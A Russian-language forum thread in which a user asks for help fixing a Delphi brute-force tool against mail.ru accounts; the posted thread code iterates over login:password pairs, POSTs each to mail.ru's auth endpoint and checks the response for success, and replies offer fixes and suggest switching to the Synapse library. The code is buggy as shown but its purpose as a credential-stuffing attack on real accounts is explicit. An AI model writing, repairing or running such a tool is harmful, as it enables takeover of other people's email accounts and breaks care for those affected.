[Delphi] Нужна помощь

Всем доброго времени суток.
Уважаемые знатоки/кодеры, нужна ваша помощь.
Суть проблемы.
Я пишу брут для mail.ru и столкнулся с проблемой, а именно, он не работает и вылетает ошибка "A call to an OS function failed".

Спойлер: Код

procedure Potok.Execute;
var
nast: integer;
Param: TStringList;
TResult: TStringList;
http: TIdHTTP;
begin
inherited;
ShowMessage( '1' );
while startWork do
begin
ShowMessage( '2' );
crSec.Enter;
inc( acc );
ShowMessage( '3' );
if acc < mails.Count then nast:= acc else startWork := false;
crSec.Leave;
ShowMessage( '4' );
if startWork = true then
begin
ShowMessage( '5' );
http:= TIdHTTP.Create( nil );
loginPath := Copy( mails[ nast ], 1, pos( ':', mails[ nast ] ) -1 );
passPath := Copy( mails[ nast ], pos( ':', mails[ nast ] ) +1, length( mails[ nast ] ) );
ShowMessage( '6' );
TResult:= TStringList.Create;
Param:= TStringList.Create;
//Post запрос на mail.ru
//http://www.mail.ru/cgi-bin/auth?Login=your_login&Domain=mail.ru&Password=your_password
ShowMessage( '7' );
Param.Add( 'Login=' +loginPath );
Param.Add( '&Domain=mail.ru&' );
Param.Add( 'Password=' +passPath );
TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );
ShowMessage( '8' );
if pos( 'logout', Param.Text ) <> 0 then result:= 1 else result:= -1;
ShowMessage( '9' );
http.Free;
Param.Free;
Synchronize( Sunch );
ShowMessage( '10' );
end;
end;
ShowMessage( '11' );
dec( Tpotok );
if Tpotok = 0 then ShowMessage( 'Готово...' );
end;

До 8 не доходит "ShowMessage( '8' );"

За ранее спасибо.

 

Профи вы где?

 

Вполне вероятно но вряд ли =)

 

Param.Add( '&Domain=mail.ru&' ); убери &

и ошибка в компиляторе,скачай другой XE3 :)

и человек выше говорит правильно!)

 

Данную проблему решил путем перехода на Synapse.
У меня Rad Studio XE5

 

причем компилятор?